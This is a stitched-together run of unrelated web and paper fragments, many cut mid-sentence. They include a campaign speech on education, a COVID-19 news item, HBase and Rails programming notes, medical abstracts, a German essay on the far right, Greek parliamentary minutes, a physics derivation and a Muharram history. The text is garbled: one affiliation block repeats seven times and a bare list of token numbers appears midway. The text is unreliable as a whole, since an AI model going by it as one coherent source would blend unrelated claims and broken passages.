for. The hope that our children’s destinies aren’t written before they are born. The hope that one day the world as it is and the world as it should be might be one and the same. That is why I stand before you today as a candidate for President of the United States of America. I am running because I refuse to accept that the way it is, is the way it has to be. I refuse to accept it when I hear adults say things like “these kids can’t learn” or “these kids come from tough backgrounds” or “these kids are too far behind.” We need to start treating “these kids” like “our kids.” I am running because I want a sense of urgency about our kids in Washington. When I’m in the White House, we’ll reform No Child Left Behind so we don’t leave the money behind. We’ll recruit an army of new teachers – and make sure they come teach here in Manning – because the most important factor in a child’s education is the person standing at the head of the classroom. We’ll invest in early childhood education because for every dollar we put there, we get seven dollars back in reduced dropout rates, reduced delinquency, and reduced prison rates, and more young people can go to college and get good jobs. And we’ll rebuild our broken schools. We know why this matters. It’s not just that a good education is essential to helping the children of today compete more effectively as the workers of tomorrow. It’s that the promise of a good education makes it possible for

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not immune from severe illness and death from COVID-19." The local public health department and UT Health UT Health Austin and University Health Services have contacted all of the passengers on the plane using flight manifests from the Centers for Disease Control and Prevention. The University of Texas at Austin is working to help public health officials. Related content Is spring break canceled? Student getaways scuttled by coronavirus "The university is working closely with Austin Public Health to assist in contact tracing," university spokesman J.B. Bird said. "The incident is a reminder of the vital importance of taking seriously the warnings of public health authorities on the risks of becoming infected with COVID-19 and spreading it to others." The students who tested positive are in self-isolation, health officials said. The Department of State Health Services has been alerted. University president Gregory L. Fenves urged students to practice good judgment and think about how their actions can affect others. "(It) is our responsibility to follow local, state and national public health orders, and use good judgment during this crisis," Fenves said in a statement Wednesday. "Our conduct and the decisions we make have direct ramifications on our own health and the health of everyone in our city and beyond. We must do everything we can to limit the spread of this virus -- the consequences of reckless actions at this time could not be clearer." Mayor Steve Adler issued a stay-at-home order for Austin on March 24. Mexico was not under a federal travel advisory when this happened, health officials said.The primary limitation of composite keys is that you can only query efficiently by known components of the composite key in the order they are serialized. Because of this limitation I find it easiest to think of your key like a funnel. Start with the piece of data you always need to partition on, and narrow it down to the more specific data that you don’t often need to distinguish.[…] As a caveat to this process, keep in mind that HBase partitions its data across region servers based on the same lexicographic ordering that gets us the behavior we’re exploiting. If your reads/writes are heavily concentrated into a few values for the first (or first few) components of your key, you will end up with poorly distributed load across region servers. HBase functions best when the distribution of reads/writes is uniform across all potential row key values. While a perfectly uniform distribution might be impossible, this should still be a consideration when constructing a composite key.Laparoscopic treatment of uterine fibroids: a comparison of peri-operative outcomes in laparoscopic hysterectomy and myomectomy. To compare peri-operative outcomes between laparoscopic myomectomy (LM) and laparoscopic hysterectomy (LH) for the treatment of uterine fibroids. Retrospective cohort study including 400 women who underwent LH or LM for the management of uterine fibroids. LH patients were older, with higher BMI and larger uterine size but LH was associated with shorter operative duration (80.2 vs. 115.7 min, p < 0.0001), lower blood loss (215 vs. 316 ml, p < 0.0001), and shorter hospital stay (1.81 vs. 2.12 days, p = 0.0003). Seven LM patients (3.2%) had blood loss >1000 ml compared with no LH patients and five LM patients (2.3%) required blood transfusion compared to 1 (0.5%) LH patient. Three LM patients (1.9%) and no LH patients required conversion to laparotomy. Bladder injury occurred in three LH cases (1.6%) and no LM cases. When the data was restricted only to women aged 44 years or over, LH was again associated with significantly lower operative duration and estimated blood loss. Particularly in perimenopausal women, the decision to perform myomectomy can be controversial. These data suggest that there are potential advantages to LH over LM, including reduced operation length, blood loss and hospital stay but increased risk of urinary tract injury.Q: Create a bulletin board on Ruby on Rails It is necessary to write a bulletin board with the division of ads by category (the ad can be in different categories at the same time). Ads must have several statuses (moderation / approved / rejected), only the administrator can change the status. Tell me what fields in the model do I need to create for the ad table and categories? And how do I tie them together? Thankful in advance for the help. A: # app/models/advert.rb class Advert < ApplicationRecord has_and_belongs_to_many :categories enum status: [:moderation, :approved, :rejected] end # app/models/category.rb class Category < ApplicationRecord has_and_belongs_to_many :adverts end You need to have a JOINS table, to link the two tables. By rails convention, this will be called adverts_categories (but it's easy to override if preferred). The database migrations to create these tables could, for example, be: class CreateAdverts < ActiveRecord::Migration[5.0] def change create_table :adverts do |t| t.integer :status #... end end end class CreateCategories < ActiveRecord::Migration[5.0] def change create_table :categories do |t| # (What fields does this table have?) t.string :name #... end end end class CreateAdvertsCategories < ActiveRecord::Migration[5.0] def change create_join_table :adverts, :categories do |t| t.index :advert_id t.index :category_id end end end 1. Introduction {#sec1-ijerph-16-02822} =============== It is widely acknowledged that housing is a social determinant of health and wellbeing \[[@B1-ijerph-16-02822],[@B2-ijerph-16-02822],[@B3-ijerph-16-02822],[@B4-ijerph-16-02822],[@B5-ijerph-16-02822],[@B6-ijerph-16-02822],[@B7-ijerph-16-02822]\]. Causal associations between suitable housing environments and positive physical and mental health, and inappropriate housing environments and poor physical and mental health, has transcended a focus on basic housing and sanitary conditions to more complex direct and indirect influencers; including housing policy, housing location, neighborhood characteristics (i.e., physical accessibility; socioeconomic conditions), affordability, tenancy (i.e., who people live with), tenure security, and access to social and employment networks, educational opportunities, transportation systems, services (i.e., shopping; banking; health care facilities) and public resources (i.e., parks; museums; libraries) \[[@B1-ijerph-16-02822],[@B2-ijerph-16-02822],[@B3-ijerph-16-02822],[@B4-ijerph-16-02822],[@B5-ijerph-16-02822],[@B6-ijerph-16-02822],[@B7-ijerph-16-02822]\]. Further, causal associations between housing and health/wellbeing have been linked to multiple population groups; for example, children \[[@B8-ijerph-16-02822],[@B9-ijerph-16-02822]\], adults \[[@B10-ijerph-16-02822],[@B11-ijerph-16-02822]\], people from developed and developing nations \[[@B12-ijerph-16-02822]\], different geographical areas (i.e., urban, regional, remote locations) \[[@B11-ijerph-16-02822],[@B13-ijerph-16-02822]\], a range of cultures \[[@B14-ijerph-16-02822],[@B15-ijerph-16-02822]\], able-bodied populations \[[@B8-ijerph-16-02822],[@B10-ijerph-16-02822]\], and people with diverse health conditions and impairments \[[@B16-ijerph-16-02822],[@B17-ijerph-16-02822]\]. Despite this well-established, multifaceted link between housing and health/wellbeing, individuals with an acquired brain injury (ABI) or spinal cord injury (SCI) incur significant housing challenges \[[@B18-ijerph-16-02822],[@B19-ijerph-16-02822],[@B20-ijerph-16-02822]\]. As a result of the physical, cognitive, sensory, perceptual, communicative, and/or behavioral consequences directly related to their neurological injury \[[@B21-ijerph-16-02822],[@B22-ijerph-16-02822]\], individuals with ABI and/or SCI often require specialist support to live as independently as possible at home and participate in their communities. These supports may include physically accessible environments, access to specialized equipment, assistance with activities of daily living and personal care, and/or support to access and participate in community activities \[[@B3-ijerph-16-02822]\]. Unfortunately, many people with ABI and SCI are forced to reside in unsuitable residential environments (e.g., an impractical dwelling; an impractical neighborhood; group home with strict routines; residential aged care), or housing that is not their preferred option (e.g., family home with aging parents), due to broader and persistent issues relating to housing availability and housing suitability \[[@B23-ijerph-16-02822],[@B24-ijerph-16-02822],[@B25-ijerph-16-028

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? Das liegt nicht nur an fehlenden Kitas, Straßen, Arbeitsplätzen David Begrich, langjähriger Beobachter der rechtsextremen Szene in Sachsen-Anhalt, beschrieb das kürzlich in der Wochenzeitung Freitag so: „Männer, die aus ihrer zum Teil sehr schweren körperlichen Arbeit soziale Anerkennung und Statussicherheit schöpften, verloren mit ihrer Arbeit nicht nur den Lohnerwerb, sondern vielmehr ein ganzes Geflecht sozialer Beziehungen und die aus diesem resultierende Anerkennung.“ Diese Verlusterfahrungen werden ebenso an die Söhne weitergegeben wie die Mechanismen ihrer Kompensation: die Rückbesinnung auf traditionelle männliche Werte und Privilegien und das Faustrecht, diese zu verteidigen. Wie sagte Björn Höcke auf dem AfD-Parteitag in Hannover 2015? Er sagte: „Wir müssen unsere Männlichkeit wiederentdecken. Denn nur wenn wir unsere Männlichkeit wiederentdecken, werden wir mannhaft. Und nur wenn wir mannhaft werden, werden wir wehrhaft.“ Die AfD versteht die emotionale Verfasstheit der Männer im Osten sehr gut. Und sie nutzt sie aus. Sie eignet sich das Ostdeutsche so gut an, dass sich viele von dieser Partei sogar das wegnehmen lassen, auf das sie am meisten stolz sein können: die Revolution von 1989. „Vollende die Wende“ – mit solchen Slogans machte die Partei erfolgreich Wahlkampf. Sie dreht das westdeutsche Narrativ des von der großen weiten Welt unberührten Ostdeutschen um und macht daraus die Behauptung einer ostdeutschen arischen Avantgarde, deren Revolution auch Westdeutschland erfassen soll. Doch Nazi oder nicht – das ist eine Entscheidung, keine ostdeutsche Mutation. Und es gibt diejenigen, die sich anders entscheiden. Diejenigen, die kämpfen. Katja Barthold, eine Gewerkschafterin aus Ostthüringen, kann zum Beispiel darüber sprechen, wie sie in Metallgießereien die Solidarität zwischen Leiharbeitern aus Syrien und Männern aus Thüringen erproben. Oder Danilo Starosta, der für das Kulturbüro Sachsen arbeitet, eine dieser Organisationen in Ostdeutschland, die Gemeinden und andere im Umgang mit Rechtsextremismus beraten. taz am wochenende Dieser Text stammt aus der taz am wochenende. Immer ab Samstag am Kiosk, im eKiosk oder gleich im praktischen Wochenendabo. Und bei Facebook und Twitter. Das Dossier zu "30 Jahren friedliche Revolution" aus der Ausgabe vom 2./3. November gibt es online hier. Er wäre 2009 von mehreren Männern fast ermordet worden. Er ist vorsichtiger, den Mund hält er dennoch nicht. Neben den vielen Aktivist*innen streiten auch Lokalpolitiker*innen für eine offene Gesellschaft: René Wilke, Oberbürgermeister von Frankfurt (Oder), Martina Angermann im sächsischen Arnsdorf, Thomas Zenker, Oberbürgermeister von Zittau, und Götz Ulrich, Landrat im Burgenlandkreis. Leider gelten vielerorts diejenigen als Störenfriede, die sich mit den Nazis anlegen – nicht andersherum. Martina Angermann ist nach vier Jahren Bedrohungen und Beschimpfungen von Rechtsextremen zusammengebrochen und seither krankgeschrieben. Viele Engagierte sind krank, gelten als ein bisschen verrückt, ein bisschen zu aggressiv, ein wenig zu laut. Das kann passieren, wenn jemand jeden zweiten Tag die Post aus dem Briefkasten klaut, die Luft aus dem Fahrrad lässt, dem Auto folgt. Sucht euch Verbündete Es trifft nichtweiße Menschen zuerst, es trifft Transsexuelle, Schwule und Lesben, es trifft Frauen in Umweltinitiativen und Männer in Demokratieprojekten. Ist uns klar, dass manche Menschen ihr Leben aufs Spiel setzen, wenn sie für eine Gesellschaft kämpfen, in der Ostdeutsche eine Wahl haben, welches Leben sie führen wollen, ohne dafür wegziehen zu müssen? Widersprechen, ja, da kann man Angst vor haben. Davor, selbst ausgegrenzt zu werden bei der nächsten Familienfeier, beim Fußballverein, im Dorf. Es kann gefährlich sein. Was hilft, ist, sich andere zu suchen, Verbündete. Menschen, die vielleicht genauso still sind wie man selbst. Nicht alle Schweigenden stimmen zu. So ein Text von einem, der nach Berlin rübergemacht hat, ganz schon komfortabel, ich weiß. Mir wollte schon lange keiner mehr mit den Füßen auf dem Kopf rumspringen. Es ist nur so, damals, in den 90er Jahren, haben mir die Leute gefehlt, die offen widersprochen haben. Das gab mir das Gefühl, allein zu sein. Gemeinsam widerspricht es sich leichter.UPDATE: The post below says that Leonardo DiCaprio is a supporter of an LA ballot measure called the Neighborhood Integrity Initiative. It turns out he is not. After this post (and Alissa Walker's original post) was published, a DiCaprio rep contacted me to clarify. A while back, DiCaprio signed a petition about preserving a particular building with significance to Hollywood; since then, the Coalition to Preserve LA has been claiming him as a supporter of its broader initiative. (The group claims it's a big misunderstanding.) In fact, DiCaprio and his foundation have taken no position on the initiative. The original post, which makes many non-DiCaprio-related points, is below. Over at Curbed Los Angeles, Vox's sister site, Alissa Walker has gone and written a post that I’ve been meaning to write for years. Narrowly speaking, her argument is directed at Leonardo DiCaprio, an outspoken climate champion, about an anti-density ballot measure in Los Angeles he supports: The DiCaprio-supported Neighborhood Integrity Initiative, which will be on LA city’s ballot in March, is calling for a two-year building moratorium to suppress "luxury megaprojects" citywide—specifically targeting high-rise towers and development located near transit. This initiative is part of a clutch of NIMBY ("not in my backyard") efforts underway in the LA area, as wealthy, mostly white people who had the good fortune to buy houses when LA was smaller, sleepier, and more affordable — or who can afford its current stratospheric prices — try to freeze their communities in place. This one is even more insane: Santa Monica’s anti-density measure, LV, is the most troubling, as it would require a citywide vote to approve any new structure over 32 feet. This would make it politically (and economically) difficult to erect buildings more than two stories tall in a prohibitively expensive city that already has limited room to grow, pushing workers farther and farther away from their jobs. Such NIMBY battles are being waged in almost every big city, but they are especially acute along the West Coast. The people fighting hardest against development are generally upscale, older, educated, white professionals, the very people most likely to call themselves liberals and climate hawks. They buy solar panels, drive Teslas, and carry their f’ing tote bags everywhere, but they are standing in the way of carbon reductions. At least at the level of broad public consciousness, the dissonance still hasn’t sunk in. Walker’s broader point is simple: You can’t really be a champion for the climate (DiCaprio recently made a documentary about climate change called Before the Flood) and also oppose urban density. Dense development, she writes, is, "quite literally, the single best thing that a city can do for the planet." This point really cannot be emphasized enough. Whether you look narrowly at greenhouse gases or more broadly at all pollution — climate, air, and water — clustering people together is a more effective

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The Pauli matrices $ \sigma_{x,y,z}$ act on the psudospin from its $A\equiv d_{z^2}$ and $B\equiv (d_{x^2-y^2}\pm i d_{xy})/\sqrt{2}$ orbitals while $s_{z}=\uparrow, \downarrow$ is the $z$-component of real spin. $(k_x,k_y)$ is the wave vector measured from $K$ ($K'$) points. $\lambda$ depicts the spin-orbit splitting of valence bands. $\Delta$ is the gap without spin-orbit splitting. $\hbar$ is Planck’s constant over $2\pi$. $v$ is the effective Fermi velocity. The Hamiltonian describes four massive Dirac cones, two in $K$ and two in $K'$ valleys. Each cone contains a pair of conduction and valence bands, with their dispersions given by $$\begin{aligned} E^{+,\uparrow}_{c/v} =E^{-,\downarrow}_{c/v}&=& \frac{\lambda}{2}\pm\sqrt{\frac{(\Delta-\lambda)^2}{4}+(\hbar v k)^2} \\ E^{+,\downarrow}_{c/v}=E^{-,\uparrow}_{c/v} &=& -\frac{\lambda}{2}\pm\sqrt{\frac{(\Delta+\lambda)^2}{4}+(\hbar v k)^2}\end{aligned}$$ with $c/v$ for conduction and valence bands, respectively. $k^2=k_x^2+k_y^2$. An important feature is the splitting ($2\lambda\sim$ 0.15 eV) between the valence bands with spin $\uparrow$ and $\downarrow$ orientations. The dispersions are schematically shown in Fig. 1 in the manuscript for $K$ and $K'$ valleys. We are particularly interested in the situation when the Fermi surface intersects two highest valence bands. Their eigen wavefunctions are written as $$\begin{aligned} |+ \uparrow v\rangle = \left[ \begin{array}{c} 1 \\ 0 \\ \end{array} \right] \otimes \left[ \begin{array}{c} b \\ -a e^{i\varphi} \\ \end{array} \right],\ |- \downarrow v\rangle = \left[ \begin{array}{c} 0\\ 1\\ \end{array} \right]\otimes\left[ \begin{array}{c} b e^{i\varphi}\\ a \\ \end{array} \right]\nonumber\end{aligned}$$ where $a=\cos\frac{\theta}{2}$, $b=\sin\frac{\theta}{2}$, $ \cos\theta = (\Delta-\lambda)/ (2V+\Delta-\lambda)$, and $V$ measures the Fermi energy from the top of the valence bands. Here and after, we work in the subspace spanned by the basis functions in the order of $|+$$\uparrow$$ A\rangle $, $|+$$\uparrow$$ B\rangle$, $|-$$ \downarrow$$ A\rangle $, $|-$$ \downarrow$$ B\rangle $. Impurity potentials ------------------- Because spin is a good quantum number in each band, we consider ordinary elastic intravalley scattering in each band, with the potential modeled by $$U^{0}(\mathbf{r})=\sum_{\mathbf{R}} u(\mathbf{r}-\mathbf{R}),$$ where $u(\mathbf{r}-\mathbf{R})$ is the potential of an impurity at position $\mathbf{R}$. For spin-flip scattering that also preserves time-reversal symmetry, it is natural to consider spin-orbit scattering $$\begin{aligned} U^{\mathrm{I}}(\mathbf{r})= \sum_{\mathbf{R}} \nabla u(\mathbf{r}-\mathbf{R})\times \mathbf{k} \cdot \mathbf{s},\end{aligned}$$ where $\nabla$ gives the gradient of $u$. The Pauli matrices $\mathbf{s}$ operate on the spin basis functions from $\{ |+$$\uparrow$$A\rangle, |-$$\downarrow$$A\rangle \}$ or from $\{|+$$\uparrow$$B\rangle, |-$$\downarrow$$B\rangle\}$. We assume that $u(\mathbf{r}-\mathbf{R})=u^{\mathbf{R}}\delta(\mathbf{r}-\mathbf{R})$, $\langle U(\mathbf{r})\rangle_{\mathrm{imp} }=0$, and $\langle U(\mathbf{r})U(\mathbf{r^{\prime }})\rangle _{\mathrm{imp}}\sim \delta (\mathbf{r}-\mathbf{r}^{\prime })$, where $U=U^0+U^{\mathrm{I}}$ and $\langle...\rangle _{\mathrm{imp}}$ means average over impurity configurations. Although intravalley scattering should be related to long-range potential, the practice by the delta potential is justified by the numerical calculations [@Yan08prl]. Between two plane waves $$\begin{aligned} |\mathbf{k}\rangle \equiv e^{i\mathbf{k}\cdot \mathbf{r}}/\sqrt{S}, \ \ |\mathbf{k}'\rangle \equiv e^{i\mathbf{k}‘\cdot \mathbf{r}}/\sqrt{S},\end{aligned}$$ where $S$ is the area, the scattering matrix elements of $U^{0}(\mathbf{r})$ and $U^{\mathrm{I},\mathrm{so}}(\mathbf{r})$ are found as $$\begin{aligned} U^{0}_{\mathbf{k},\mathbf{k

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κειμένου να αποφύγουμε να θέσουμε σε αντιπαράθεση τα δυο θέματα, θα μπορούσαμε ίσως να εντάξουμε το θέμα της κατάστασης στην Αλγερία στο σημείο "Ανθρώπινα δικαιώματα", πράγμα το οποίο θα επέτρεπε να συμπεριληφθούν στη συζήτηση όλα τα προτεινόμενα θέματα. Πρόεδρος Βλέπω ότι η πολύ πρόσφορη αυτή πρόταση έχει τη συναίνεση του Σώματός μας. Έτσι, θα ψηφίσουμε για αυτό ως προσθήκη στο σημείο "Ανθρώπινα δικαιώματα". (Το Σώμα παρέχει σύμφωνη γνώμη) Πάντα όσον αφορά την Πέμπτη, έχω λάβει μια αίτηση της Ομάδας των Ευρωπαίων Σοσιαλιστών και της Ομάδας του Ευρωπαϊκού Λαϊκού Κόμματος που αφορά την προσθήκη ενός σημείου με τίτλο "Σεισμός στο Ελ Σαλβαδόρ". Η πρόταση αυτή δεν χρήζει δυστυχώς σχολιασμού, γι' αυτό την θέτω αμέσως σε ψηφοφορία. (Το Σώμα παρέχει σύμφωνη γνώμη επί της προτάσεως)) Seppδnen Κυρία Πρόεδρε, θα ήθελα να πω κάτι ακόμα σχετικά με τη συνεδρίαση της Πέμπτης. Εφιστώ την προσοχή στο πρόγραμμα της συνεδρίασης της Πέμπτης, σύμφωνα με το οποίο η συζήτηση επί των εκθέσεων συνεχίζεται και μετά τις 17.30 μέχρι τις 18.30. Εκείνη την ώρα, προς έκπληξιν, θα εξετασθεί η έκθεση για την ανταγωνιστικότητα της δασοκομικής βιομηχανίας, την οποία εκπόνησα ο ίδιος εξ ονόματος της Επιτροπής Βιομηχανίας, Εξωτερικού Εμπορίου, Έρευνας και Ενέργειας. Κατόπιν αυτού, στις 18.30, ακολουθεί ψηφοφορία επί της εν λόγω έκθεσης, η οποία αφορά τις θέσεις εργασίας τεσσάρων εκατομμυρίων ευρωπαίων εργαζομένων και την ανταγωνιστικότητα αυτού του βιομηχανικού τομέα, καθώς και των συναφών του βιομηχανιών. Κατά τη γνώμη μου, το πρόγραμμα της συνεδρίασης της Πέμπτης έχει τώρα οδηγηθεί σε πάρα πολύ μεγάλα προβλήματα, λόγω του ότι καταργήθηκαν οι συνεδριάσεις της Παρασκευής, εάν τελικά αναγκαστούμε να συζητήσουμε στις 17.30 επί μιας έκθεσης που αφορά τις θέσεις εργασίας τεσσάρων εκατομμυρίων ανθρώπων. Γνωρίζω ότι στις ψηφοφορίες παραμένουν το πολύ μερικές δεκάδες άτομα. Θα είναι μειωτικό του κύρους του Κοινοβουλίου να λάβουμε θέση για μια τόσο ευρείας εμβέλειας έκθεση με μια τόσο μικρή ομάδα βουλευτών. Γι' αυτόν τον λόγο, θα προτιμούσα να ψηφίζαμε στη συνεδρίαση της Πέμπτης μόνο για τα επείγοντα θέματα και να μεταθέταμε τις ψηφοφορίες που αφορούν αυτές καθαυτές τις εκθέσεις από το απόγευμα της Πέμπτης στην ημερήσια διάταξη της επόμενης περιόδου συνόδου στις Βρυξέλλες. Πρόεδρος Ευχαριστώ, κύριε Seppδnen. Σημειώνω ευχαρίστως την παρατήρησή σας. Η εμπειρία έχει δείξει ότι η παρουσία των βουλευτών κατά την ώρα των ψηφοφοριών το απόγευμα της Πέμπτης ήταν πάντοτε σημαντική, πράγμα που καθιστά αβάσιμους τους φόβους που μόλις εκφράσατε. Επιθυμώ ολόψυχα, βεβαίως, να συνεχίσουμε να ενεργούμε κατ' αυτόν τον τρόπο. Συνεδριάσεις της 31ης Ιανουαρίου και 1ης Φεβρουαρίου στις Βρυξέλλες Πρόεδρος. Για την περίοδο συνόδου της 31ης Ιανουαρίου και 1ης Φεβρουαρίου στις Βρυξέλλες δεν έχει προταθεί καμία τροποποίηση. Η διάταξη των εργασιών καθορίζεται κατ' αυτόν τον τρόπο. Bethell Κυρία Πρόεδρε, επί της διαδικασίας. Εφιστώ την προσοχή σας στο γεγονός ότι ανησυχητικά συμβάντα έλαβαν χώρα στην Μόσχα το τελευταίο 24ωρο, με κύριο στόχο τα ανεξάρτητα μέσα μαζικής ενημέρωσης και την ελευθερία του Τύπου. Ο όμιλος Media-Most διευθύνει την ανεξάρτητη τηλεόραση της Ρωσίας και διαθέτει επίσης αρκετούς ραδιοφωνικούς σταθμούς και ανεξάρτητα περιοδικά. Ο κ. Andrey Tsimaylo, αντιπρόεδρος της Media-Most, συνελήφθη χθες και υπεβλήθη σε πεντάωρη ανάκριση, και στη συνέχεια ο κ. Anton Titov, ο οικονομικός διευθυντής της ανεξάρτητης τηλεόρασης, συνελήφθη από την ασφάλεια που εισέβαλε στο σπίτι της μητέρας του, σπάζοντας την πόρτα. Επίσης αρκετά κατώτερα στελέχη της αν

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reduction of the number of people living in poverty in the world and capitalist countries for 22%.I also want to explain why the western conception of human right is absolutely ridiculous and a fraud. It reduces the question of human rights to whether you have a few formal political rights or not. Let me give you an example. If you are in Africa, starving to death, and I’m afraid that in Africa there are people who face death by starvation, provided you are able to use Facebook you meet the criteria of a ‘human right’ by the Western criteria – but the fact that you are dying of starvation is not counted in the criteria of ‘human rights’! But for virtually all people, and all sensible ones, the question of whether they starve to death is much more important than the question of whether they can use Facebook or not. Let’s take another example – the question of the comparison between China and India. Again on the latest data a Chinese woman lives on average eight years longer than does an Indian woman. Chinese literacy amongst women is 94% whereas in India, literacy among women is only 63%. That means almost forty percent of Indian women can’t read or write. Over 700 million people in India don’t have a access to a toilet – an issue which affects all such people but women even more so. But according to the Western definition if you can use Facebook you have human rights but if you don’t have a toilet that is irrelevant to your human rights. But for the overwhelming majority of people who don’t have one to have a toilet is a very much more fundamental issue of human rights than being able to use Facebook. Whose human rights are really better? Are the human right of an Indian woman – an Indian woman who lives eight years less than a Chinese woman, who has an almost forty percent chance of not reading or writing, and doesn’t have a toilet – better than those of a Chinese woman because she happens to live in a parliamentary republic? Any definition which claims that result, which is what the Western one does, is absolutely absurd. The human rights of a Chinese woman are clearly much better than the human rights of an Indian woman – and I say that with regret because I would like the human rights of an Indian woman to be as good as those of a Chinese woman and I hope they will become so in the future.Connect with Us Snoqualmie Valley Hospital opposes Swedish in Issaquah Valley residents may not pay property tax for the planned 175-bed Swedish Medical Center hospital in Issaquah. But Snoqualmie Valley Hospital administrator Rodger McCollum, who has appealed the state's approval of the big new Swedish facility in Issaquah, said that the Valley would pay for it in subtler ways. There is a clear demand for additional medical services on the Eastside, said Kevin Brown, chief strategic officer for Swedish Medical Center. "We have always felt there was significant need for a new hospital in the greater Issaquah area," Brown stated when the new Swedish hospital was announced in June. For the complete story, subscribe to the Valley Record, (425) 888-2311 We encourage an open exchange of ideas on this story's topic, but we ask you to follow our guidelines for respecting community standards. Personal attacks, inappropriate language, and off-topic comments may be removed, and comment privileges revoked, per our Terms of Use. Please see our FAQ if you have questions or concerns about using Facebook to comment.From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. Jump to Abstract Background We investigated whether serum concentration of carboxy-terminal propeptide of procollagen type I (PIP), a marker of collagen type I synthesis, can be used to assess the ability of antihypertensive treatment to regress myocardial fibrosis in hypertensive patients. Methods and Results The study was performed in 37 patients with essential hypertension and hypertensive heart disease. After randomization, 21 patients were assigned to losartan and 16 patients to amlodipine treatment. At baseline and after 12 months, right septal endomyocardial biopsies were performed to quantify collagen volume fraction (CVF) on picrosirius red–stained sections with an automated image-analysis system. Serum PIP was measured by specific radioimmunoassay. Nineteen patients in the losartan group and 11 in the amlodipine group finished the study. Time-course changes in blood pressure during treatment were similar in the 2 groups of patients. In losartan-treated patients, CVF decreased from 5.65±2.03% to 3.96±1.46% (P<0.01) and PIP from 127±30 to 99±26 μg/L (P<0.01). Neither CVF or PIP changed significantly in amlodipine-treated patients. CVF was directly correlated with PIP (r=0.44, P<0.001) in all hypertensives before and after treatment. Conclusions These findings suggest that the ability of antihypertensive treatment to regress fibrosis in hypertensives with biopsy-proven myocardial fibrosis is independent of its antihypertensive efficacy. Our data also suggest that blockade of the angiotensin II type 1 receptor is associated with inhibition of collagen type I synthesis and regression of myocardial fibrosis in hypertensives. Thus, determination of serum PIP may be useful to assess the cardioreparative properties of antihypertensive treatment in hypertens

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7717, 7225, 8439, 187, 187, 9739, 1552, 310, 247, 4092, 1984, 670, 247, 17178, 2523, 13, 533, 308, 602, 26091, 281, 1056, 352, 271, 3477, 1239, 342, 247, 5248, 273, 24152 ]

ion source that includes dimensional stability. It is yet another object of this invention to replace point-to-point corona discharge by an ion source that includes simplicity and ruggedness of design. It is yet a further object of this invention to replace point-to-point corona discharge by an ion source that includes extended source lifetime. More objects of the invention will become apparent to professionals in the chemical and biological defense, law enforcement, health monitoring, disease control, industrial safety and hygiene, environmental, chemical, metallurgical, and related areas following perusal of the complete specificationTry and Fail, but do not Fail to Try! The Countdown begins….. Muharram is the first month of the Islamic calendar, during which Muslims commemorate the martyrdom of Imam Husayn(as), grandson of the Prophet Muhammad(pbuh). Husayn(as) was born on the 3rd of Sha’ban, in the fourth year of Hijrah (625 CE). His grandfather, Muhammad(pbuh ), named him ‘Husayn’, which means ‘one of beautiful character.’ The Holy Quran refers to the Prophet Muhammad(pbuh), his daughter Fatimah(as), her husband ′Ali(as), and their two sons Hasan(as) and Husayn(as), in the Verse, “Indeed, Allah wants to take away pollution from you, O, People of the House, and purify you [by a special kind of] purification.” The Prophet indicated many times that the people of his House were the most qualified for leadership. Referring to Hasan(as) and Husayn(as), he said, “These two are my sons. They are two Imams (leaders).” Historical Background: During the lifetime of the Prophet, Abu Sufyan, his family, and other influential families of Mecca tried to stop the Prophet in any way they could. They even attempted to murder him, but they failed. Later, after the Prophet’s death, Abu Sufyan’s son—Muawiyah claimed to be the leader of the Islamic Nation. ′Ali(as), the cousin of the Prophet and the true leader of Muslims after the Prophet’s death, defended the Islamic Nation against Muawiyah who formed an alliance with the Byzantine Empire and waged war from his capital, Damascus. Although ′Ali(as) challenged Muawiyah to settle their dispute one‑on‑one rather than with armies, Muawiyah always refused. Eventually, ′Ali(as) was murdered during his prayers. To 